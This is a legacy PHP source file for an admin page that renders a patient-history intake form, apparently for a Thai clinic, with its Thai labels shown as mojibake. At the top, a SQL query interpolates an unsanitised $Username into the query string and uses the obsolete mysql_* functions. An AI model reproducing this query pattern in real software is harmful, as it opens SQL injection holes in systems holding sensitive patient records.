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<?php
include("../include/Function.php");
include("../include/FunctionDB.php");
include("admin_menu.php");
 ConnectDB();
$sql = "SELECT * FROM personal_tb WHERE Username='$Username'";
$res = mysql_query($sql);
$rs = mysql_fetch_array($res);
$sql ="select * From personalMed";
$result = mysql_query($sql);
$rs = mysql_fetch_array($result); 

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<script language="javascript" src="js/calendarDateInput2.js"></script>
<script language="JavaScript" type="text/JavaScript">

<!--
 function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
function chk(c){
if (c.checked){
document.all.Prob1.disabled=false;
document.all.Prob2.disabled=false;
document.all.Prob3.disabled=false;
document.all.Prob4.disabled=false;
}
else{
document.all.Problem.disabled=false;
}
}
</script>
<style type="text/css">
<!--
.style1 {font-size: 14px}
.style2 {font-family: Tahoma}
.style3 {font-weight: bold}
-->
</style>
<table width="816" border="0" cellpadding="0" cellspacing="0">
	<tr>
	  <td width="816"><br>
	    <fieldset>
			<legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php" >˹éÒËÅÑ¡</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">Ẻ¿ÍÃìÁ»ÃÐÇѵÔŤ¹ä¢é</font></legend>
			<label><div align="center">
			  <form action="InsertThperson.php" method="post" enctype="multipart/form-data" name="pc" id="pc">
			    <p align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
			    <table width="78%" border="0" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC" style="border:0px solid gray">
                  
                  <tr bgcolor="#eeeeee" >
                    <td height="32" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="right" class="style1"><font color="#000066" face="Tahoma">Çѹ·Õèà¢éÒ·Ó¡ÒÃÃÑ¡ÉÒ</font></div></td>
                    <td bordercolor="#FFFFFF" bgcolor="#ECF5FF"><font color="#FF0000" size="3" face="Tahoma">*</font></td>
                    <td nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#ECF5FF"><!--<select name="mDate" id="mDate">
                        <?getDay1to31();?>
                      </select>
                      -
                      <select name="mMonth" id="mMonth">
                        <?getThaiMonth();?>
                      </select>
                      -
                      <input name="mYear" type="text" id="mYear" size="5" maxlength="4" />-->
                        <script>DateInput('date', true, 'DD/MM/YYYY','<?php echo date('d')."/".date('m')."/".date('Y');?>');</script>                    </td>
                  </tr>
                  
                  <tr bgcolor="#ECF5FF">
                    <td height="31" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="right"><font color="#003366" size="2" face="Tahoma">HN</font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#FF0000" size="3" face="Tahoma">*</font></td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><input name="HN_code" type="text" class="d" id="HN_code" onmouseover="ddrivetip('ªèͧ¹Õé¤×ÍàÅ¢·ÕèºÑµÃ»ÃШӵÑǵÑÇàÅ¢ 6 ËÅÑ¡','#FFE7CE', 300)"
onmouseout="hideddrivetip()" onkeypress="return handleEnter(this, event)" size="6" maxlength="7"; /></td>
                  </tr>
                  <tr bgcolor="#ECF5FF">
                    <td height="30" nowrap="nowrap" bordercolor="#CCCCCC"><div align="right"><font color="#003366" size="2" face="Tahoma">àÅ¢·ÕèºÑµÃ»ÃШӵÑÇ»ÃЪҪ¹</font></div></td>
                    <td bordercolor="#CCCCCC"><font color="#FF0000" size="3" face="Tahoma">*</font></td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC"><input name="Citizen_id" type="text" class="d" id="Citizen_id" onmouseover="ddrivetip('ªèͧ¹Õé¤×ÍàÅ¢·ÕèºÑµÃ»ÃШӵÑÇ»ÃЪҪ¹ 13 ËÅÑ¡µÑÇàÅ¢','#FFE7CE', 300)"
onmouseout="hideddrivetip()" onkeypress="return handleEnter(this, event)" size="13" maxlength="13"; />
                        <span class="style19"><font size="2" face="Tahoma">*ËÃ×ÍàÅ¢·ÕèºÑµÃ»ÃлÃСѹÊѧ¤Á</font></span> </td>
                  </tr>
                  
                  <tr bgcolor="#ECF5FF">
                    <td width="23%" height="31" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="right"><font color="#000066" size="2" face="Tahoma">¤Ó¹Ó˹éÒ</font></div></td>
                    <td width="2%" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font color="#FF0000" size="3" face="Tahoma">*</font></div></td>
                    <td width="75%" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                      <select 
                  id="prefixId" name="prefixId">
                        <option value="" selected="selected">--- 
                          àÅ×Í¡ ---</option>
                        <option value="1">¹ÒÂ</option>
                        <option 
                    value="2">¹Ò§ÊÒÇ</option>
                        <option value="3">¹Ò§</option>
                        <option 
                    value="4">´.­.</option>
                        <option value="5">´.ª.</option>
                        <option 
                    value="6">¾ÅÏ</option>
                        <option value="7">¨.µ.</option>
                        <option 
                    value="8">¨.·.</option>
                        <option value="9">¨.Í.</option>
                        <option 
                    value="10">¨.µ.Ë­Ô§</option>
                        <option 
                    value="11">¨.·.Ë­Ô§</option>
                        <option 
                    value="12">¨.Í.Ë­Ô§</option>
                        <option 
                    value="13">¾.¨.µ.</option>
                        <option 
                    value="14">¾.¨.·.</option>
                        <option 
                    value="15">¾.¨.Í.</option>
                        <option 
                    value="16">¾.¨.µ.Ë­Ô§</option>
                        <option 
                    value="17">¾.¨.·.Ë­Ô§</option>
                        <option 
                    value="18">¾.¨.Í.Ë­Ô§</option>
                        <option value="19">Ã.µ. 
                          (Ã.¹.)</option>
                        <option value="20">Ã.·. (Ã.¹.)</option>
                        <option 
                    value="21">Ã.Í. (Ã.¹.)</option>
                        <option value="22">Ã.µ.Ë­Ô§ 
                          (Ã.¹.)</option>
                        <option value="23">Ã.·.Ë­Ô§ 
                          (Ã.¹.)</option>
                        <option value="24">Ã.Í.Ë­Ô§ 
                          (Ã.¹.)</option>
                        <option value="25">¹.µ.</option>
                        <option 
                    value="26">¹.·.</option>
                        <option value="27">¹.Í.</option>
                        <option 
                    value="28">¹.µ.Ë­Ô§</option>
                        <option 
                    value="29">¹.·.Ë­Ô§</option>
                        <option 
                    value="30">¹.Í.Ë­Ô§</option>
                        <option value="31">¾ÅàÃ×Í 
                          µ.</option>
                        <option value="32">¾ÅàÃ×Í ·.</option>
                        <option 
                    value="33">¾ÅàÃ×Í Í.</option>
                        <option value="34">¾ÅàÃ×Í 
                          µ.Ë­Ô§</option>
                        <option value="35">¾ÅàÃ×Í 
                          ·.Ë­Ô§</option>
                        <option value="36">¾ÅàÃ×Í 
                          Í.Ë­Ô§</option>
                        <option value="37">ÇèÒ·Õè Ã.µ. 
                          (Ã.¹.)</option>
                        <option value="38">ÇèÒ·Õè Ã.µ.Ë­Ô§ 
                          (Ã.¹.)</option>
                        <option value="39">¨.Í.µ.</option>
                        <option 
                    value="40">¨.Í.·.</option>
                        <option 
                    value="41">¨.Í.Í.</option>
                        <option 
                    value="42">¨.Í.µ.Ë­Ô§</option>
                        <option 
                    value="43">¨.Í.·.Ë­Ô§</option>
                        <option 
                    value="44">¨.Í.Í.Ë­Ô§</option>
                        <option 
                    value="45">¾.¨.µ.</option>
                        <option 
                    value="46">¾.¨.·.</option>
                        <option 
                    value="47">¾.¨.Í.</option>
                        <option 
                    value="48">¾.¨.µ.Ë­Ô§</option>
                        <option 
                    value="49">¾.¨.·.Ë­Ô§</option>
                        <option 
                    value="50">¾.¨.Í.Ë­Ô§</option>
                        <option 
                    value="51">Ã.Í.µ.</option>
                        <option 
                    value="52">Ã.Í.·.</option>
                        <option 
                    value="53">Ã.Í.Í.</option>
                        <option 
                    value="54">Ã.Í.µ.Ë­Ô§</option>
                        <option 
                    value="55">Ã.Í.·.Ë­Ô§</option>
                        <option 
                    value="56">Ã.Í.Í.Ë­Ô§</option>
                        <option 
                    value="57">¹.Í.µ.</option>
                        <option 
                    value="58">¹.Í.·.</option>
                        <option 
                    value="59">¹.Í.Í.</option>
                        <option 
                    value="60">¹.Í.µ.Ë­Ô§</option>
                        <option 
                    value="61">¹.Í.·.Ë­Ô§</option>
                        <option 
                    value="62">¹.Í.Í.Ë­Ô§</option>
                        <option 
                    value="63">¾Å.Í.µ.</option>
                        <option 
                    value="64">¾Å.Í.·.</option>
                        <option 
                    value="65">¾Å.Í.Í.</option>
                        <option 
                    value="66">¾Å.Í.µ.Ë­Ô§</option>
                        <option 
                    value="67">¾Å.Í.·.Ë­Ô§</option>
                        <option 
                    value="68">¾Å.Í.Í.Ë­Ô§</option>
                        <option value="69">ÇèÒ·Õè 
                          Ã.Í.µ.</option>
                        <option value="70">ÇèÒ·Õè 
                          Ã.Í.µ.Ë­Ô§</option>
                        <option value="71">¾ÅÏ</option>
                        <option 
                    value="72">Ê.µ.</option>
                        <option value="73">Ê.·.</option>
                        <option 
                    value="74">Ê.Í.</option>
                        <option 
                    value="75">Ê.µ.Ë­Ô§</option>
                        <option 
                    value="76">Ê.·.Ë­Ô§</option>
                        <option 
                    value="77">Ê.Í.Ë­Ô§</option>
                        <option 
                    value="78">¨.Ê.µ.</option>
                        <option 
                    value="79">¨.Ê.·.</option>
                        <option 
                    value="80">¨.Ê.Í.</option>
                        <option 
                    value="81">¨.Ê.µ.Ë­Ô§</option>
                        <option 
                    value="82">¨.Ê.·.Ë­Ô§</option>
                        <option 
                    value="83">¨.Ê.Í.Ë­Ô§</option>
                        <option 
                    value="84">Ã.µ.</option>
                        <option value="85">Ã.·.</option>
                        <option 
                    value="86">Ã.Í.</option>
                        <option 
                    value="87">Ã.µ.Ë­Ô§</option>
                        <option 
                    value="88">Ã.·.Ë­Ô§</option>
                        <option 
                    value="89">Ã.Í.Ë­Ô§</option>
                        <option 
                    value="90">¾.µ.</option>
                        <option value="91">¾.·.</option>
                        <option 
                    value="92">¾.Í.</option>
                        <option 
                    value="93">¾.µ.Ë­Ô§</option>
                        <option 
                    value="94">¾.·.Ë­Ô§</option>
                        <option 
                    value="95">¾.Í.Ë­Ô§</option>
                        <option 
                    value="96">¾Å.µ.</option>
                        <option 
                    value="97">¾Å.·.</option>
                        <option 
                    value="98">¾Å.Í.</option>
                        <option 
                    value="99">¾Å.µ.Ë­Ô§</option>
                        <option 
                    value="100">¾Å.·.Ë­Ô§</option>
                        <option 
                    value="101">¾Å.Í.Ë­Ô§</option>
                        <option value="102">ÇèÒ·Õè 
                          Ê.Í.</option>
                        <option value="103">ÇèÒ·Õè 
                          Ê.Í.Ë­Ô§</option>
                        <option value="104">ÇèÒ·Õè 
                          ¨.Ê.Í.</option>
                        <option value="105">ÇèÒ·Õè 
                          ¨.Ê.Í.Ë­Ô§</option>
                        <option value="106">ÇèÒ·Õè 
                          Ã.µ.</option>
                        <option value="107">ÇèÒ·Õè 
                          Ã.µ.Ë­Ô§</option>
                        <option value="108">ÇèÒ·Õè 
                          Ã.·.</option>
                        <option value="109">ÇèÒ·Õè 
                          Ã.·.Ë­Ô§</option>
                        <option value="110">¾ÅÏ</option>
                        <option 
                    value="111">Ê.µ.µ.</option>
                        <option 
                    value="112">Ê.µ.·.</option>
                        <option 
                    value="113">Ê.µ.Í.</option>
                        <option 
                    value="114">Ê.µ.µ.Ë­Ô§</option>
                        <option 
                    value="115">Ê.µ.·.Ë­Ô§</option>
                        <option 
                    value="116">Ê.µ.Í.Ë­Ô§</option>
                        <option 
                    value="117">¨.Ê.µ.</option>
                        <option 
                    value="118">¨.Ê.µ.Ë­Ô§</option>
                        <option 
                    value="119">´.µ.</option>
                        <option 
                    value="120">´.µ.Ë­Ô§</option>
                        <option 
                    value="121">Ã.µ.µ.</option>
                        <option 
                    value="122">Ã.µ.·.</option>
                        <option 
                    value="123">Ã.µ.Í.</option>
                        <option 
                    value="124">Ã.µ.µ.Ë­Ô§</option>
                        <option 
                    value="125">Ã.µ.·.Ë­Ô§</option>
                        <option 
                    value="126">Ã.µ.Í.Ë­Ô§</option>
                        <option 
                    value="127">¾.µ.µ.</option>
                        <option 
                    value="128">¾.µ.·.</option>
                        <option 
                    value="129">¾.µ.Í.</option>
                        <option 
                    value="130">¾.µ.µ.Ë­Ô§</option>
                        <option 
                    value="131">¾.µ.·.Ë­Ô§</option>
                        <option 
                    value="132">¾.µ.Í.Ë­Ô§</option>
                        <option 
                    value="133">¾Å.µ.µ.</option>
                        <option 
                    value="134">¾Å.µ.·.</option>
                        <option 
                    value="135">¾Å.µ.Í.</option>
                        <option 
                    value="136">¾ÅÏ</option>
                        <option value="137">Á.¨.</option>
                        <option 
                    value="138">Á.¨.Ë­Ô§</option>
                        <option 
                    value="139">Á.Ã.Ç.</option>
                        <option 
                  value="140">Á.Å.</option>
                      </select>
</font></td>
                  </tr>
                  <tr bgcolor="#ECF5FF">
                    <td height="29" nowrap="nowrap" bordercolor="#CCCCCC"><div align="right"><font color="#000066" size="2" face="Tahoma">ª×èÍ</font></div></td>
                    <td bordercolor="#CCCCCC"><div align="center"><font color="#FF0000" size="3" face="Tahoma">*</font></div></td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC"><font size="2" face="Tahoma">
                      <input name="Name" type="text" class="d" id="Name" onkeypress="return handleEnter(this,event)" size="12">
                      &nbsp;¹ÒÁÊ¡ØÅ </font> <font size="2" face="Tahoma">
                        <input name="Lastname" type="text" class="d" id="Lastname" onkeypress="return handleEnter(this,event)" size="12" />
                        <font color="#FF0000"> (ÀÒÉÒä·Â) </font></font></td>
                  </tr>
                  <tr bgcolor="#ECF5FF">
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="right"><font color="#003366" size="2" face="Tahoma">Çѹ/à´×͹/»Õà¡Ô´</font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">Çѹ·Õè
                      <select name="mDate1" id="mDate1" class="select" onkeypress="return handleEnter(this, event)" >
                            <? getDay1to31();?>
                      </select>
                      à´×͹
                      <select name="mMonth1" id="mMonth1" class="select" onkeypress="return handleEnter(this, event)">
                        <? getThaiMonth();?>
                      </select>
                      »Õ ¾.È.
                      <input name="mYear1" type="text" class="input" id="mYear1" onkeypress="return handleEnter(this, event)" size="4" maxlength="4" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#ECF5FF">
                    <td height="30" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#ECF5FF"><div align="right"><font color="#003366" size="2" face="Tahoma">à¾È</font></div></td>
                    <td bordercolor="#CCCCCC"><font color="#FF0000" size="3" face="Tahoma">*</font></td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC"><font size="2">
                      <input type="radio" name="Sex" value="Ë­Ô§" onkeypress="return handleEnter(this, event)" />
                      <font color="#003366" size="2" face="Tahoma">Ë­Ô§</font><font color="#000000">
                      <input type="radio" name="Sex" value="ªÒÂ" onkeypress="return handleEnter(this, event)" />
                    </font></font><font color="#003366" size="2" face="Tahoma">ªÒÂ</font></td>
                  </tr>
                  <tr bgcolor="#ECF5FF">
                    <td height="30" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style1">
                      <div align="right"><font color="#003366" face="Tahoma">àª×éͪҵÔ</font></div>
                    </div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><input name="Nationality" type="text" class="d" id="Nationality" onkeypress="return handleEnter(this, event)" size="5" maxlength="10" />
                        <font color="#003366" face="Tahoma"><span class="style1">ÊÑ­ªÒµ</span></font><font color="#003366" size="2" face="Tahoma">Ô
                          <input name="Nation" type="text" class="d" id="Nation" onkeypress="return handleEnter(this, event)" size="5" maxlength="10" />
                        </font></td>
                  </tr>
                  <tr bgcolor="#ECF5FF">
                    <td height="30" nowrap="nowrap" bordercolor="#CCCCCC"><div align="right"><font color="#003366" size="2" face="Tahoma">ÈÒʹÒ</font></div></td>
                    <td bordercolor="#CCCCCC">&nbsp;</td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC"><font size="2" face="Tahoma">
                      <input type="radio" name="Religion" value="¾Ø·¸" onkeypress="return handleEnter(this, event)" />
                      ¾Ø·¸
                      <input type="radio" name="Religion" value="¤ÃÔʵì" onkeypress="return handleEnter(this, event)" />
                      ¤ÃÔʵì
                      <input type="radio" name="Religion" value="ÍÔÊÅÒÁ" onkeypress="return handleEnter(this, event)" />
                      ÍÔÊÅÒÁ
                      <input type="radio" name="Religion" value="Í×è¹æ" onkeypress="return handleEnter(this, event)" />
                      Í×è¹æ</font></td>
                  </tr>
                  <tr bgcolor="#ECF5FF">
                    <td height="31" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style1">
                      <div align="right"><font color="#003366" face="Tahoma">ÍÒÂØ</font></div>
                    </div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                      <input name="Age" type="text" class="d" id="Age" size="2" maxlength="2"   />
                    </font></td>
                  </tr>
                  
                  <tr bgcolor="#eeeeee">
                    <td height="27" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="right"><font color="#003366" size="2" face="Tahoma">·ÕèÍÂÙè·ÕèµÔ´µèÍä´éÊдǡ</font></div></td>
                    <td bordercolor="#FFFFFF" bgcolor="#ECF5FF"><font color="#FF0000" size="3" face="Tahoma">*</font></td>
                    <td nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#ECF5FF"><input 
  name="Address" id="Address" size="45" /></td>
                  </tr>
                  
                  <tr bgcolor="#eeeeee">
                    <td height="100%" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center" class="style1">
                      <div align="right"><font color="#003366" face="Tahoma">µÓºÅ/á¢Ç§</font></div>
                    </div></td>
                    <td bordercolor="#FFFFFF" bgcolor="#ECF5FF"><font color="#FF0000" size="3" face="Tahoma">*</font></td>
                    <td nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#ECF5FF"><input name="districtName" type="text" class="input1" id="districtName" size="15" maxlength="100" readonly="readonly" />
                        <img src="../picture/search.gif" name="IMG3" width="15" height="19" border="0" align="absmiddle" id="IMG3" style="CURSOR: hand" onclick='MM_openBrWindow(&quot;homeDistrictTable.php&quot;,&quot;test&quot;,&quot;width = 550, height=350,scrollbars=yes&quot;)' />
                        <input type="hidden" name="districtId" />
                        <font color="#003366" size="2" face="Tahoma">ÍÓàÀÍ/ࢵ</font>
                        <input name="amphurName" type="text" class="input1" id="amphurName"  size="15" maxlength="100" readonly="readonly" />
                    <input name="amphurId" type="hidden" id="amphurId" /></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td height="31" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center" class="style1">
                      <div align="right"><font color="#003366" face="Tahoma">¨Ñ§ËÇÑ´</font></div>
                    </div></td>
                    <td bordercolor="#FFFFFF" bgcolor="#ECF5FF"><font color="#FF0000" size="3" face="Tahoma">*</font></td>
                    <td nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#ECF5FF"><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                      <input type="text" name="provinceName"  size="15" maxlength="100" class="input1" readonly="readonly" />
                      <input name="provinceId" type="hidden" id="provinceId">
                      </font></strong></font><font color="#003366" size="2" face="Tahoma"><span class="hint"><font color="#003366" size="2"></font></span></font></strong></font><span class="hint"><font color="#003366" size="2"></font></span></td>
                  </tr>
                  
                  <tr bgcolor="#CDDFF5">
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#ECF5FF"><div align="center" class="style1">
                      <div align="right"><font color="#000066" face="Tahoma">ÃËÑÊä»ÃɳÕÂì</font></div>
                    </div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#ECF5FF">&nbsp;</td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#ECF5FF"><input name="Zipcode" type="text" class="d" id="Zipcode" size="5" maxlength="5" /></td>
                  </tr>
                  <tr bgcolor="#CDDFF5">
                    <td height="27" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="right"><font color="#000066" size="2" face="Tahoma">àºÍÃìâ·Ã·ÕèºéÒ¹</font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">
                      <input name="Phone" type="text" class="d" id="Phone" size="10" maxlength="10" />
                      </font><font color="#000066" size="2" face="Tahoma">Á×Ͷ×Í</font><font color="#000000" size="2" face="Tahoma">
                      <input name="Mobile" type="text" class="d" id="Mobile" size="10" maxlength="10" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#CDDFF5">
                    <td height="33" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#ECF5FF"><div align="right"><font color="#000066" size="2" face="Tahoma">ÍÒªÕ¾</font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#ECF5FF">&nbsp;</td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#ECF5FF"><font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                      <select name="Work" class="d" id="Work" >
                        <option value="" selected="selected">àÅ×Í¡ÍÒªÕ¾</option>
                        <option value="¹Ñ¡àÃÕ¹/¹Ñ¡ÈÖ¡ÉÒ">¹Ñ¡àÃÕ¹/¹Ñ¡ÈÖ¡ÉÒ</option>
                        <option value="¸ØáԨÊèǹµÑÇ">¸ØáԨÊèǹµÑÇ</option>
                        <option value="á¾·Âì/¾ÂÒºÒÅ">á¾·Âì/¾ÂÒºÒÅ</option>
                        <option value="¤ÃÙ/ÍÒ¨ÒÃÂì">¤ÃÙ/ÍÒ¨ÒÃÂì</option>
                        <option value="¹Ñ¡¡®ËÁÒÂ/·¹Ò¤ÇÒÁ">¹Ñ¡¡®ËÁÒÂ/·¹Ò¤ÇÒÁ</option>
                        <option value="¤ÍÁ¾ÔÇàµÍÃì">¤ÍÁ¾ÔÇàµÍÃì</option>
                        <option value="ÇÔÈÇ¡Ã/ªèÒ§">ÇÔÈÇ¡Ã/ªèÒ§</option>
                        <option value="¾¹Ñ¡§Ò¹ºÑ­ªÕ/¡ÒÃà§Ô¹">¾¹Ñ¡§Ò¹ºÑ­ªÕ/¡ÒÃà§Ô¹</option>
                        <option value="¡ÒõÅÒ´/¡ÒâÒÂ">¡ÒõÅÒ´/¡ÒâÒÂ</option>
                        <option value="ÃѺÃÒª¡ÒÃ">ÃѺÃÒª¡ÒÃ</option>
                        <option value="·Õè»ÃÖ¡ÉÒ">·Õè»ÃÖ¡ÉÒ</option>
                        <option value="¾¹Ñ¡§Ò¹ÃÑ°ÇÔÊÒË¡Ô¨">¾¹Ñ¡§Ò¹ÃÑ°ÇÔÊÒË¡Ô¨</option>
                        <option value="¼ÙéºÃÔËÒÃ/¼Ùé¨Ñ´¡ÒÃ">¼ÙéºÃÔËÒÃ/¼Ùé¨Ñ´¡ÒÃ</option>
                        <option value="¾¹Ñ¡§Ò¹·ÑèÇä»">¾¹Ñ¡§Ò¹·ÑèÇä»</option>
                        <option value="ºÃÔ¡Ò÷èͧà·ÕèÂÇ">ºÃÔ¡Ò÷èͧà·ÕèÂÇ</option>
                        <option value="Í͡Ẻ/´Õ䫹ì">Í͡Ẻ/´Õ䫹ì</option>
                        <option value="¾¹Ñ¡§Ò¹âç§Ò¹">¾¹Ñ¡§Ò¹âç§Ò¹</option>
                        <option value="¹Ñ¡ÇÔªÒ¡ÒÃ/¹Ñ¡ÇԨѤ鹤ÇéÒ">¹Ñ¡ÇÔªÒ¡ÒÃ/¹Ñ¡ÇԨѤ鹤ÇéÒ</option>
                        <option value="ÇèÒ§§Ò¹">ÇèÒ§§Ò¹</option>
                        <option value="äÁèä´é·Ó§Ò¹">äÁèä´é·Ó§Ò¹</option>
                        <option value="Í×è¹æ">Í×è¹æ</option>
                      </select>
                    </font></td>
                  </tr>
                  <tr bgcolor="#CDDFF5">
                    <td height="33" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="right"><font color="#000066" size="2" face="Tahoma">¡ÒÃÈÖ¡ÉÒ</font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                      <select name="Education" class="d" id="Education"  >
                        <option selected="selected" value="">àÅ×Í¡ÃдѺ¡ÒÃÈÖ¡ÉÒ</option>
                        <option value="»ÃжÁÈÖ¡ÉÒ">»ÃжÁÈÖ¡ÉÒ</option>
                        <option value="ÁѸÂÁÈÖ¡Éҵ͹µé¹">ÁѸÂÁÈÖ¡Éҵ͹µé¹</option>
                        <option value="ÁѸÂÁÈÖ¡Éҵ͹»ÅÒÂ">ÁѸÂÁÈÖ¡Éҵ͹»ÅÒÂ</option>
                        <option value="ÍÒªÕÇÈÖ¡ÉÒ / ÊÒÂÍÒªÕ¾">ÍÒªÕÇÈÖ¡ÉÒ / ÊÒÂÍÒªÕ¾</option>
                        <option value="»ÃÔ­­ÒµÃÕ">»ÃÔ­­ÒµÃÕ</option>
                        <option value="»ÃÔ­­Òâ·">»ÃÔ­­Òâ·</option>
                        <option value="ÊÙ§¡ÇèÒ»ÃÔ­­Òâ·">ÊÙ§¡ÇèÒ»ÃÔ­­Òâ·</option>
                      </select>
                    </font></td>
                  </tr>
                  <tr bgcolor="#CDDFF5">
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#ECF5FF"><div align="center" class="style1">
                      <div align="right"><font size="2" face="Tahoma">E-mail</font></div>
                    </div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#ECF5FF">&nbsp;</td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#ECF5FF"><input name="Email_name" type="text" class="d" id="Email_name" size="20" maxlength="30" /></td>
                  </tr>
                  <tr bgcolor="#CDDFF5">
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="right"><font face="Tahoma"><span class="style1">ÊÔ·¸Ô¡ÒÃÃÑ¡ÉÒ</span></font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><strong><font color="#FF0000" size="3" face="Tahoma">*</font></strong></td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                      <input type="radio" name="State_bank" value="Y" onkeypress="return handleEnter(this, event)" />
                    </font><span class="style1"> <span class="style2">àºÔ¡ä´é</span></span><font size="2" face="Tahoma">
                    <input type="radio" name="State_bank" value="N" onkeypress="return handleEnter(this, event)" />
                    </font><font face="Tahoma"><span class="style1">àºÔ¡äÁèä´</span></font><font size="2" face="Tahoma">é</font></td>
                  </tr>
                  
                  <tr bgcolor="#B6D0F1" >
                    <td height="23" colspan="3" nowrap="nowrap" bordercolor="#CCCCCC" ><div align="center"> 
                        <div align="center"></div>
                    <div align="center"><font color="#FFFFFF" size="2" face="Tahoma"><strong><font color="#003366">&nbsp;</font></strong></font> <font color="#003366"><strong><font size="2" face="Tahoma">»ÃÐÇѵԷҧ¡ÒÃá¾·Âì</font></strong></font></div></td>
                  </tr>
                  <tr bgcolor="#ECF5FF">
                    <td colspan="3" nowrap="nowrap" bordercolor="#CCCCCC"><table width="100%" border="0" cellpadding="0" cellspacing="1">
                        <tr>
                          <td>&nbsp;</td>
                          <td colspan="3"><font size="2" face="Tahoma">
                            <input type="radio" name="Degree_code" value="âäËÑÇã¨" onkeypress="return handleEnter(this, event)" />
                            âäËÑÇã¨
                            <input type="radio" name="Degree_code" value="âäàºËÇÒ¹ " onkeypress="return handleEnter(this, event)" />
                            âäàºÒËÇÒ¹
                            <input type="radio" name="Degree_code" value="âäàÅ×Í´" onkeypress="return handleEnter(this, event)" />
                            âäàÅ×Í´
                            <input type="radio" name="Degree_code" value="âäËͺË×´" />
                            âäËͺË×´</font></td>
                          <td>&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma"> </font></div></td>
                          <td colspan="3" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                            <input type="radio" name="Degree_code" value="âä¤ÇÒÁ´Ñ¹âÅËÔµÊÙ§" onkeypress="return handleEnter(this, event)" />
                            âä¤ÇÒÁ´Ñ¹âÅËÔµÊÙ§
                            <input type="radio" name="Degree_code" value="âääÇÃÑʵѺÍÑ¡àʺ" onkeypress="return handleEnter(this, event)" />
                            âääÇÃÑʵѺÍÑ¡àʺ
                            <input type="radio" name="Degree_code" value="âäÍ×è¹æ " onkeypress="return handleEnter(this, event)" />
                            âäÍ×è¹æ ÃÐºØ </font><font color="#003366" size="2" face="Tahoma">
                              <input name="Club_nid" type="text" class="d" id="Club_nid" onkeypress="return handleEnter(this, event)" size="20" />
                            </font><font size="2" face="MS Sans Serif, Tahoma, sans-serif">&nbsp; </font></td>
                          <td>&nbsp;</td>
                        </tr>
